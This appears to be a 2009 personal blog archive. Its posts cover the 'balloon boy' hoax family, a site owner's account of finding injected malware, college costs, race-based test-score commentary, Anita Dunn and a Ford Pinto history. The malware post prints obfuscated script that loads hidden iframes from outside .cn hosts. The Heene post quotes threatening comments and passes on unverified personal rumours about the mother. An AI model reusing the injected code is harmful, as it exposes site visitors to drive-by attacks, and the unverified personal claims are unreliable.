Monday, October 26, 2009

Bakka Balloon Mom Mayumi Heene is in Deep Tofu

Bakka Balloon Mom Mayumi Heene

Thankfully, the latest infamous Asian American isn't a disgrunted geek shooter or Yale murder victim, but the Japanese American mom of "balloon boy", Mayumi Heene and her boys. In WWII, the government kept it a secret that the Japanese Navy was launching sending balloons over our forests, but everybody heard about this balloon. The press wondered if she was a co-star in crime, or battered victim, but after telling all to the sherriff, maybe she's both. Hillary put up with Bill Clinton to stay in the limelight, so Richard Heene might have been her less-than-shining knight. I first heard the story on Dori Monson's radio show in Seattle, and then saw balloon land on internet video. Her looks, name, and accent were all Japanese. That makes her boys Falcon, Bradford and Ryo Asian or at least "Hapa" American as well, and her husband an Asian-in-law.

We learned they were the same "we are children of aliens" family led by a manic DIY mad-scientist dad that was on the television show "Wife Swap" standing in front of what looks like UFO balloon version 1.0. Hubby Richard called the guest wife a "man's nightmare" and was glad "my wife was born in Japan"  A boy from the guest family were equally impressed at how Mayumi "yelled a lot" and showed "strong emotions" in taking charge of her alternate household. Mayumi's name was Iizuka when she met Richard in a Hollywood acting school. He evidently impressed her enough as a wacky gaijin to give her hand in marriage him in 1997 in Las Vegas, perhaps to get away from her strong, overbearing father. They're not exactly what you'd expect a real life goof-off Homer and straight-woman Marge Simpson to look like. With a hard charging Americanized slightly nutty professor dad with 3 boys and wife from Asia who stays in background, they don't sound like any family I know personally....

Barbara Slusser of Fort Collins got close the the family working with the dad on TV projects, but pulled out over concerns about his temper. She's got some people upset over promoting stereotypes when she told the press her Japanese heritage has kept her in a "subservient" relationship with her husband and even her boys. "She's a highly intelligent woman, a lovely soul", but Slusser said "Whatever he says goes. She's basically his slave." She says Mayumi is a rock for her husband, and should be put up for sainthood for putting up with him, but thought she'd even "wear orange and go to jail with him."'s Diana Nguyen and Jen Wang noted that the report seemed to paint that Mayumi "is essentially a sad, suffering-in-silence subservient-a word used three times to describe her-- Asian woman cliche." But they did notice that the pair had separate his-and-her lawyers. That's not something you'd expect from a wife loyal enough to go down with the ship and her captain.

Now there's a big difference between "subservient" and "submission." Looking up my Asian values ( paper, the Japanese word "Amae" encapsulates heirarchy and dependence. While the old are above the young, and husband over the wife, EVERYBODY submits to somebody else, not just the wives. If Slusser claimed the mother submitted to the kids, that's a far cry from the "Asian mother loses it when sees B+" stereotype. One Japanese woman commented she wasn't being stereotypical, but "Bakka", or "crazy", and from what I've seen of video clips she doesn't seem to be an average Japanese any more than Richard is a typical American. Why someone would stick with a guy like that might lie in "Gaman", or inner strength, and "Sho ga nai" which means "It Can't Be Helped". When you're in a pickle, you make it work instead of quitting or being defeated.

Now the local sheriff Sheriff Alderdan is telling us they are in a good 'ol American "heap of trouble". One Colorodoan reader who was "embarrassed to call him our elected sheriff" called him a "media hog" who had "taxpayer employed family members".  Alderdan doesn't sound like kind of guy you'd want to mess with your family if he didn't think your balloon hoax was funny. Things could get ugly as they could be looking at felonies that could bring a dozen years in prison, a half million in fines, and a bill for the rescue that won't be erased by bankruptcy.

In 2008, America's televisions were taken over by another hoax hoax by Rozita Swinton claiming abuse by polygamists at the Texas YFZ ranch. Authorities used her call for a flimsy search warrant to dig up whatever they could to justify putting every child into foster care on the basis of what a few men might have done. But ranch residents were telling the truth when they warned that it was a hoax, as many others quickly suspected. If any prankster deserves prison time, Swinton does for blowing over 14 million dollars and ruining the lives of hundreds of women and children injustly interned for weeks and even Texas Rangers were breaking down into tears when they had pry away the kids from their mothers. It looks like the authorities are protecting instead of prosecuting her since still hasn't been even charged for the Texas calls, or stood trial for the calls she's been charged for in Colorado.  Not only that, now it's the Heenes turn to have their house raided at 1AM by the cops and Child Protective Services. Photos, cameras, tapes, computer and computer files were all removed, but without the tank and SWAT team. America, we have to able to tell the bad guys from the REALLY BAD guys.

This is a family living on the edge, having lived in an office space, renting homes and driving with broken hatch window. They love their boys, and didn't mean to hurt anybody. Many Americans can only dream of capturing the imagination and attention of America if only for a few hours. As much some might despise the misguided father, their misdeeds certainly don't rise to the level of having the book thrown at them or delivering the boys into the clutches of the foster care system. In this day of zero tolerance, America has shown how the real bad guys come out when Americans get legal excuses to demonstrate just how much they dislike some people. Judging by comments left on the richardheeneofficial youtube channel, there's a mob out there just waiting to mete out justice and I can't imagine how having a wife from Japan is going to help their case.

  • "Hey f-g-t, Your wife is a mail order piece of cr*p.."
  • "When your *ss gets sent to jail ...Have fun being r*ped."

  • "an egotistical, wife beating. brainwashing, waste of air, low life scum!

  • "I hope u go to jail for ur crimes or at least die from those lovely tornatos"

  • "you are the reason the rest of the world hates our country"

  • "F-ing... D-bag....".

  • "Take his kids away from him.. many living safe families would would to have those children"..

  • "I hope someone kills you and your slap head wife".

This family is in some deep tofu folks. Look in your history books of the American west to see what people felt perfectly justified to do to the Chinese, Mormons and Native Americans. As a matter of fact, the Chinese did take jobs away from whites, dress and talk funny, and trade in opium. As far as I'm concerned these folks did commit a hoax, but let's not confuse justice with what a lot of people would like to do to them. They don't have a mean bone anywhere in their bodies, but they're pretty much at the mercy of public opinion now. After they've paid a fair price for their mischief, they need help to get back on track to the American dream. While Asian parents are tough on discipline, it's to teach a lesson, not ground people for life.

They've probably strangers to the Asian Asian community(TM), but look at how the African Americans are willing stick up for their people, no matter what they've been accused of. This is not just any bunch of redneck losers, they're making our history. God help the next family that gets their photos and computers taken away because they made the government look foolish. MIT students break rules to pull famous "hacks" all the time. If it were up to me, I'd give back their stuff, sentence them to a month in jail, and a month of community service. Then harness their obvious energy for the public good by handing them over the Great American Celebrity Machine. The dad would make a great host of a backyard inventor show, and put Mayumi on Oprah. Whatever wealth they get should be plowed into scholarships for other kids of crackpot parents, not the helicopter gas bill. If nobody has yet stuck up for these adventurous folks, it's time for the Asian community to take a stand, starting with this Asian American dad.

And some last minute tidbits from the Japanese blogs and newsboards I haven't been able to verify, but might be true:
  • The two apparently met in Los Angeles at the while students at the Lee Strasberg Theatre and Film Institute
  • Richard Heene was arrested in April 1997 in LA, charged with misdemeanor vandalism, vehicle tampering, and disturbing the peace. On April 15, 1997, Heene pleaded no contest to vandalism and the other charges were dismissed, serving 4 days in jail (
  • Mayumi Iizuka, in Japanese 飯塚 真由美, Japanese news reports she is from from Gifu Prefecture in Central Japan. She was born January 2nd 1964 and is 45 years old
  • Someone on a Japan newsboard who claims to live on their street believes they are living on money sent by Mayumi's parents.

Some videos:

Wednesday, October 21, 2009

How I got rid of malware "attack site" code

How I got rid of malware "attack site" code

My website is hosted on oneandone, and I upload to it using ftp. If you use Firefox or chrome, going to the site will send you to a "attack website" warning. Nobody ever got hurt as far as I know, but it scares people away.

Somehow, somebody stuck this code in default.asp:

(iframe height="1" src="" width="1"](/iframe](script]

document.write("("+ "iframe"+ " "+ "s"+ "rc="+ "h"+ "t"+ "t"+ "p"+ ":"+ "/"+ "/"+ "ze"+ "n"+ "i"+ "t"+ "ch"+ "ampi"+ "on."+ "c"+ "n/n"+ "ic/"+ "main"+ ".ph"+ "p "+ "hei"+ "gh"+ "t"+ "="+ "2"+ " w"+ "idth=1]"+ "(/i"+ "f"+ "rame"+ "]");


document.write("(iframe"+ " s"+ "rc='htt"+ "p://"+ "z"+ "enit"+ "champion"+ ".c"+ "n/nic/"+ "main.p"+ "hp' height="+ "2 width=1](/iframe]");


document.write("(" +"i"+ "fr"+ "ame"+ " s" +"r"+"c"+"=h"+ "t"+"t" +"p"+ ":" +"//vi"+ "p"+"pr"+ "o"+"j"+ "e" +"c" +"t"+"s."+ "c" +"n" +"/ "+"h" +"ei"+"g"+ "h"+ "t"+ "=" +"1"+ " wi"+ "d" +"th=" +"1](/i" +"f"+ "ra"+"m"+"e]");


document.write("(i"+ "f"+"rame "+"s" +"rc=ht"+ "t"+"p:"+ "//"+"u"+"p" +"da"+"tedat"+ " "+ "hei" +"g"+"ht" +"="+"1" +" " +"width=1]"+ "(" +"/" +"if"+"rame]");


document.write("(if"+"r" +"a" +"m" +"e" +" "+"s"+"rc="+"ht"+"tp:/" +"/"+"u" +"p" +"d" +"a"+"t" +"ed" +"at" +"e." +"cn" +"/ " +"h" +"eig" +"ht"+"=" +"1 " +"w" +"idth" +"=" +"1]" +"(/if"+"ra" +"me"+"]");

(/script](br /]

Looks like it wants to create something with in it (DON'T CLICK THERE!)
I used CuteFTP Pro 8.0 to look at the directory and found a few files modified Aug 2009, most of the files haven't changed since the 1990s. So most of the files that had new dates had this code, or something similar to it. The tech support said that usually it's code injected with a form or database, but it's just static hand-coded html that I use. Hopefully, changing the ftp password will fix the problem.
Anybody else got ideas of how to keep a website clear of this stuff? Anybody knows how this malware is supposed to work based on this injected code?

Since 1976-77, College Costs Soar from $8k to $16k, Private 4-yr up to $40k

I went to MIT in the fall of 1976. Back then the cry was $5,000 is TDM (Too Dang Much) for tuition. Well, The US Education Department’s Digest of Education Statistics reports that between 1976-77 and 2007-08 average undergraduate tuition, fees, room and board increased from $7,914 to $15,665 after adjusting for
inflation (in 2006 dollars). In "current" dollars, that would rise from $2,275 to $16,245.

But that doesn't look like the $50,000 bills that most of the private colleges we're looking at are charging. For those schools like MIT/Stanford, you have to look in the not-for-profit 4 yr universities, and the figures there are $4,715 for 1976 to $40,640 for today, which seems about right. My father made about mid $20,000 working for Boeing with 7 kids back then, but were were able to pretty much get a free ride from MIT and Stanford.

College Costs Soar Over Past Twenty Years
Between 1976–77 and 2007–08, average undergraduate tuition, fees, and
room and board increased from $7,914 to $15,665, after adjusting for
inflation (table 331).

full table

here is the table, in constant 2006-07 dollars

Education Activist Gerald Bracey passes away

He moved from Washington DC to Washington State. I tended to agree with him on the uselessness of "highers standards" and misuse of international tests. From Susan Ohanian: There are no postings to send tonight. If you have tears, prepare to shed them now. Gerald Bracey died unexpectedly today. His loss is devastating--as expert and as friend and mentor. Jerry didn't suffer facile argument quietly--whether it came from the left or the right. He was our mentor, the fellow who we could trust to explain hard data, the one we could depend on not to capitulate. Fearless in the face of power, Jerry told the truth and wasn't afraid to make enemies. Rest in Peace, Jerry. You leave a void in our hearts and in our struggle for justice for the children. Susan

Friday, October 16, 2009

Asians lead in ACT report of college preparedness

ACT The Condition of College Readiness

The ACT college admission test is a rival of the SAT. They just issued a report of how ready American high school students who took the test are for college. I just took a quick glance, but there seems to be an underlying theme of which group is ahead. However, I doubt it will be covered in any news stories, since the only message that ever gets out in the press is how minorities score lower than whites and asians because of structural racism.

ACT tested high school graduates who completed core curriculum by race/ethnicity 2009. Asians are the highest, no surprise there.

80% Asian
73% White
70% All
67% Hispanic
64% African American
59% American Indian / Alaska Native

Asian American / Pacific Islander graduates had the highest average composite ACT scores, no surprise there either, though there was a time when Asian verbal performance on the SAT made the combination lower on the SAT before the 1990s. But overall, Asians are scoring higher, despite any problem they might have with language. Hispanics score higher than African Americans even though they also have a language barrier.
23.2 Asian
22.2 white
18.9 Am Indian
18.7 Hispanic
16.9 African American
One-third of all Asian American / PI graduates met all four College readiness benchmarks more than students from all other groups in 2009. African American gradates were least likely.

36% Asian American
28% White
11% American Indian
10% Hispanic
 4% African American

p. 16 89% of Asian American / PI grads aspired to earn at least a bachelor's degree. American Indian/AN were least likely (35%) vs AfAm (45%) Hispanic (46%) and White(43%) aspired to a graduate or professional degree. What's interesting is that for all intents and purposes, the Hispanics, Whites and AfAms were about the SAME, only the Asians were way ahead of the pack.

The recommendations were for "Clear Performance Standards", which I despise because it's a codeword for outcomes based education and failed high-stakes tests like Washington's WASL and California's failed CLAS which have been disasters and an excuse for abandoning teaching of basic skills in favor of crazy stuff even us college grad parents were never expected to know. "States must define 'how good is good enough' for college and career readiness. In addition to a consistent, rigorous set of essential K–12 content standards, states must define performance standards so that students, parents, and teachers know how well students must perform academically to have a reasonable chance of success at college or on the job." Unlike the SAT, which does not have "passing score", the ACT defines “college readiness” as students having approximately a 75% chance of earning a grade of C or higher or a 50% chance of earning a grade of B or higher in first-year college English Composition; College Algebra; History, Psychology, Sociology, Political Science, or Economics; and Biology. But for most students, there is probably a college that will take anybody, no matter how low their scores as long as it's paid for and they show up. It's only the most competitive colleges where a test score may let you in or keep you out.

Interesting, and hopefully, no mention or blame was made of race, class, or gender with respect to how all students should attain these goals. Just study hard. Is that so un-PC???

Glenn Beck takes on Obama's Anita Dunn and her favorite guy, Mao

On Oct 15, 2009 Glenn Beck's television program on the Fox New Network targeted Dunn by showing a video clip of her giving a speech to high school students on June 5, 2009.[6] She stated "two of my favorite political philosophers, Mao Zedong and Mother Teresa -- not often coupled with each other -- but the two people that I turn to most to basically deliver a simple point, which is, 'You're going to make choices, you're going to challenge, you're going to say, why not?, you're going to figure out how to do things that have never been done before." Beck was critical of Dunn as he continued to question what he alleged was a pattern of communist and Marxist sympathies of many in the Obama administration. Media Matters commented that Beck "falsely claimed that White House communications director Anita Dunn 'worships' and 'idolizes' 'her hero' Mao Zedong" and the clip offered "no endorsement of Mao's ideology or atrocities". Mark Silva of the Chicago Tribune speculated that unlike the resignation of Van Jones, Dunn would survive the controversy.

^ Anita Dunn: Fox News An Outlet For GOP Propoganda

^ "Beck falsely claimed Anita Dunn "worships" "her hero" Mao Zedong" Media Matters for America October 15, 2009 10:40 pm E

Quotes Anita Dunn

Anita Dunn is the interim White House Communications Director.

We're going to treat [the FOX News] the way we would treat an opponent. As they are undertaking a war against Barack Obama and the White House, we don't need to pretend that this is the way that legitimate news organizations behave.

The New York Times interview, October 11, 2009. [1]

What I think is fair to say about Fox — and certainly it’s the way we view it — is that it really is more a wing of the Republican Party. They take their talking points, put them on the air; take their opposition research, put them on the air. And that’s fine. But let’s not pretend they’re a news network the way CNN is.

CNN interview, October 12, 2009. [2]

The third lesson and tip actually comes from two of my favorite political philosophers - Mao Tse Tung and Mother Teresa, not often coupled with each other but the two people that I turn to most to basically deliver a simple point, which is you're going to make choices. You're going to challenge. You're going to say why not. You're going to figure out how to do things that have never been done before

Speech at Catholic high school in Bethesda Maryland, as broadcast on the Glenn Beck Show, Oct 15, 2009. [3]

Thursday, October 15, 2009


[Fixing up the wp again...]

Chinaman  is a term that refers to a Chinese man, person, or in some cases, a racial term for any person of east Asian descent. Although the term originated in usage that was not originally offensive in intent, and was listed in older dictionaries,[1][2] its use evolved into a term often used against the Chinese and other Asians as they encountered increased discrimination and injustice in the late 19th and early 20th centuries. Nowadays, its occasional usage is strongly discouraged by Asian American organizations and others,[3][4][5][6] and considered offensive by modern dictionaries. It can be contrasted with the ethnic slur used for persons of African descent, which was also used as both a self-referential and pejorative description. The term has been used by Chinese and persons without stated offensive intent,[3][6] and has also been used as a self-referential archetype by authors and artists of Asian descent.[7]

[edit] Historic usage

A transliteration of the Chinese word for a Chinese person would be "China" and "man". The term "Chinaman" has been historically used in a variety of ways, including legal documents, literary works, geographic names, and in speech. Census records in 1800s North America recorded Chinese men by names such as "John Chinaman", "Jake Chinaman", or simply as "Chinaman".[8] Chinese-American historian Emma Woo Louie, comments about the usage of such names in census schedules that "Generic names....were evidently used when the census-taker was unable to obtain any information — these terms should not be considered to be racist in intent.....[members of] other groups are identified by generic terms as well, such as Spaniard and Kanaka, which refers to a Hawaiian. As one census taker in Eldorado County wrote, "I found about 80 Chinese men in Spanish Canion who refused to give me their names or other information. John Chinaman is another generic term used by the census taker to describe a Chinese person — like John Doe, it refers to a person whose name is not known. "[9]

In a notable 1852 letter to Governor of California John Bigler which challenges his proposed immigration policy toward the Chinese, restaurant owner Norman Asing, at the time a leader in San Francisco's Chinese community, referred to himself as a "Chinaman". Addressing the governor, he wrote, "Sir: I am a Chinaman, a republican, and a lover of free institutions."[10] "Chinaman" was also often used in complimentary contexts, such as ""after a very famous Chinaman in old Cassiar Rush days, (who was) known & loved by whites and natives."[11]

[edit] Derogatory

As the Chinese in the American West began to encounter discrimination and hostile criticism of their culture and mannerisms, the term would begin to take on negative connotations. The slogan of the Workingman's Party was "The Chinese Must Go!", coined in the 1870s before chinaman became a common derogatory term. The term "Chinaman's chance evolved as the Chinese began to take on dangerous jobs building the railroads or ventured to exploit mine claims abandoned by others, and later found themselves of victims of injustice as accused murders would be acquitted if the only testimony was from other Chinese. Legal documents such as the Geary Act of 1892, which barred the entry of Chinese people to the United States, referred to Chinese people both as "Chinese persons" or "Chinamen".[12] In addition to legal documents, the term "Chinaman" was also used in court. Roy Bean, appointed as a judge in the state of Texas in the late 19th century, used the term in one of his rulings. Commenting on the case of an Irishman killing a Chinese worker, after browsing through a law book, he said, "Gentlemen, I find the law very explicit on murdering your fellow man, but there's nothing here about killing a Chinaman. Case dismissed."[13]

The term has also been used to refer to Japanese men, despite the fact that they are not Chinese. Civil rights pioneer Takuji Yamashita took a case to the United States Supreme Court in 1922 on the issue of the possibility of allowing Japanese immigrants to own land in the state of Washington. Washington's attorney general, in his argument, stated that Japanese people could not fit into American society because assimilation was not possible for "the Negro, the Indian and the Chinaman".[14] The Japanese admiral Tōgō Heihachirō, during his training in England in the 1870s, was called "Johnny Chinaman" by his British comrades.[15]

Literary and musical works have used the term as well. In Disgraceful Persecution of a Boy, an 1870 essay written by Mark Twain, a sympathetic and often flattering account about the circumstances of Chinese people in 1800s United States society, the term is used throughout the body of the essay to refer to Chinese people.[16] Over a hundred years later, the term would again be used during the Civil Rights era in the context of racial injustice in literary works. The term was used in the title of Chinese American writer Frank Chin's first play The Chickencoop Chinaman, written in 1972,[7] and also the translated English title of Bo Yang's political and cultural criticism, The Ugly Chinaman and the Crisis of Chinese Culture.[17] In musical works, the term appears in Mort Shuman's 1967 translation of Jacques Brel's song, Jacky: "Locked up inside my opium den/Surrounded by some Chinamen".[18][19] In Brel's original, the French term vieux Chinois, meaning "old Chinese", was translated as "Chinamen" in English.[20] It was also used in the hit 1974 song, Kung Fu Fighting, by Carl Douglas; a line of lyrics from the song reads, "they were funky Chinamen from funky Chinatown."[21]

Wednesday, October 14, 2009

NAEP 2009 8th Grade Math Results, WA, CA and USA

NAEP 2009
NAEP Results for 2009

Grade 8
National Center for education statistics Institute for Education Sciences
Snapshot State Report

Washington State        at or above
        pct     avg scorbasic   prof    advancedrate
male          51     290      79      41      12    1.00
female        49     288      77      38      10   -1.20
Girls 20% less likely to be advanced
white         68     295      85      46      12    1.00
black          5     269      60      16       4   -3.00
hispanic      15     264      53      13       2   -6.00
asian          8     302      85      53      22    1.83
amind/AN       3     269      58      23       8   -1.50
lunch         37     271      62      20       3   -4.00
no lunch      63     299      88      51      15    1.25
More boys advanced or basic (low)
Asians highest score, 22% advanced vs 12 for white, nearly 2X higher rate
California              at or above
        pct     avg scorbasic   prof    advancedrate
male          51     272      61      26       6    1.00
female        49     268      58      21       4   -1.50
Girls 1.5x less likely to be advanced
white         28     289      39      39      10    1.00
black          6     250      10      10       1  -10.00
hispanic      51     256      11      11       1  -10.00
asian         13     294      46      46      13    1.30
amind/AN       1
lunch         53      47      12      12       1  -10.00
no lunch      45      74      37      37      10    1.00
California score of 270 was lower than 282 for national average
Minority or lunch program 10x less advanced
Asians 30% more likely to be advanced.
US                      at or above
        pct     avg scorbasic   prof    advancedrate
male                 283      72      34       8    1.00
female               281      71      31       7   -1.14
Girls 1.5x less likely to be advanced
white         58     292      82      43      10    1.00 
black         15     260      49      12       1  -10.00 ** Black down by 10
hispanic      20     266      56      17       2   -5.00
asian          5     300      84      53      20    2.00 ** Asian 2X
amind/AN       1     267      57      20       3   -3.33
lunch         40     266      57      17       2   -5.00
no lunch      54     293      83      45      12    1.20
Asians 2X advanced vs white
Black -10X, Hispanic -5X, NativeAm -3X vs whites
Lunch -5x vs whites
Tables A-18 to A-22
Math tests: Wash. eighth-graders improve
By DONNA GORDON BLANKINSHIP; Associated Press Writer
Published: 10/14/09

"The achievement gap is still there," said state schools Superintendent Randy Dorn. For example, while the average score of white eighth-graders was 295 out of 500, the average for black eighth-graders was 269, Hispanic students averaged 264 and American Indian and Alaska Native students averaged 269."

Comment - as usual the Asians are left out of the newspaper article. WA state report shows that Asian score of 302 was highest of all racial groups, and 22 percent score advanced vs 12 for whites and 4 for black. However, the gap is far better than it is nationally, where only 1% of blacks score in the advanced, the figure for WA is 4 times higher, while the 20% of Asians in WA is about the same as nationally. Nationally, Asians are the highest scoring group at 300 vs 292. The actual report mentions "The average score for Asian/Pacific Islander students was also 8 points higher than the score for White students" But this small score average difference is not as important as how many students reach the highest elite level. With 20% advanced for Asians vs 10 for whites but only 1 for blacks, that means that if you assembled a class based only test scores, you'd have twice as many Asians but only 1/10th as many blacks as their population, which has important affirmative action implications for selective colleges who hope to set high standards and also achieve "diversity".

In California, although state whites score near the national average, or score advanced, it is worse for most minorities. The state average is worse than the national average. Both blacks and hispanics are only 1/10th as likely to score advanced as whites, and just 13 percent of Asians are advanced vs 20 national.

Tuesday, October 13, 2009

History of the Ford Pinto

(click on pictures to get un-squashed view)

The Ford Pinto was Ford Motor Company's first domestic North American subcompact automobile marketed beginning on September 11, 1970.

It competed with the AMC Gremlin and Chevrolet Vega, along with imports from makes such as Volkwagen, Datsun and Toyota.

1971 Gremlin, Pinto and Vega in 2010

The Pinto was popular in sales, with 100,000 units delivered by January 1971[2], and was also offered as wagon and Runabout hatchback. Its reputation suffered as a popular small, inexpensive car and especially from a controversy surrounding the safety of its gas tank. Its ten year production run outlasted the Vega through the 1980 model year when 68,179 were built [3] It and the smaller Ford Fiesta were replaced by the front wheel drive Ford Escort. The rebadged Lincoln-Mercury version, the Mercury Bobcat debuted in Canada in 1974, and subsequently in the U.S. in 1975.

US automakers had first countered imports such as the Volkwagen with compact cars such as the Falcon, Corvair and Dart. These cars had six cylinder engines, but actually defined a larger class of vehicles. As the popularity of smaller imports such as the Volkswagen and Japanese makes such as Toyota and Datsun increased throughout the 1960s, Ford first responded by the Ford Cortina from its British line as a captive import. But the US automakers soon developed their own new class of "subcompacts", though many of them would be classified as "compact" today.

The AMC Gremlin was the first to arrive on the market on April 1, 1970, six months before the Pinto was offered with a list price of $1,919. The Chevrolet Vega was introduced the day before the Pinto, September 10, 1970. Both the Pinto and the Vega were all new, but the Pinto used powertrains proven in Europe, while the Vega's innovative aluminum engine would prove troublesome. The Gremlin was designed around a six-cylinder engine, and was derived largely by truncating the rear body from the compact-class AMC Hornet to achieve its short length.

A team of stylists at Ford was assigned to design the Pinto's exterior and interior. However, Robert Eidschun's design of the exterior was eventually chosen, in its entirety. This was unusual, as most cars consist of several elements, each designed by a different stylist. The clay models of the Pinto were finalized in December 1968, which is when Eidschun left Ford to join Chrysler, where he went on to design elements of the successful Dodge Charger and Plymouth Duster.

Original Pinto From 4 Views

While the previously introduced Ford Maverick offered either straight-6 or V8 engine and twin bench seats, the Pinto offered a straight-4 engine, and bucket seats — more in keeping with small imports such as the Volkswagen Beetle and Toyota Corolla. Entry level Pintos were priced on launch at around $1850, which made the Pinto the cheapest Ford since the "Six" of 1958, usefully undercutting GM's Chevrolet Vega and directly targeting those German and Japanese imported models[4]. Pintos were manufactured in St. Thomas, Ontario; Edison, New Jersey; and in Richmond, California.[5]

Compared with imports, seating was very low to the floor. Styling somewhat resembled the larger Ford Maverick in grille and tail light themes, but had a smooth fastback profile. Body styles included a two-door coupé with a conventional trunk, a three-door hatchback called the Runabout, a two-door station wagon, and the Ford Pinto Cruising Wagon, produced from 1977 to 1980 and styled to resemble a small conversion van (very much the trend in the late 1970s) complete with a round "bubble window" in the side panels. There was even a top of the line Pinto Squire, which had faux wood sides like the flagship Ford Country Squire. There were appearance packages, but never a factory performance package similar to the Cosworth Vega or the 304 V8 Gremlin X.

The car's mechanical design was conventional, with unibody construction, a longitudinally-mounted engine in front driving the rear wheels through either a manual or automatic transmission and live axle rear end. Suspension was by unequal length control arms with coil springs at the front and the live axle rear was suspended on leaf springs. The rack and pinion steering had optional power assist, as did the brakes.

Road & Track faulted the suspension and standard drum brakes, calling the latter a "serious deficiency," but they praised the proven 1.6 L Kent engine, adapted from European Fords. The larger 2300 inline- found in the Chevrolet Vega was an innovative, brand new design using an aluminum alloy block and iron head, the engine needed more development work as initially released. Consumer Reports rated the 1971 Pinto below the Vega but above the Gremlin.

The Pinto would be later complemented by the Greman built, but even smaller front wheel drive Ford Fiesta, and formally replaced by the more modern Escort for the 1981 model year.

Good Links
based on wikipedia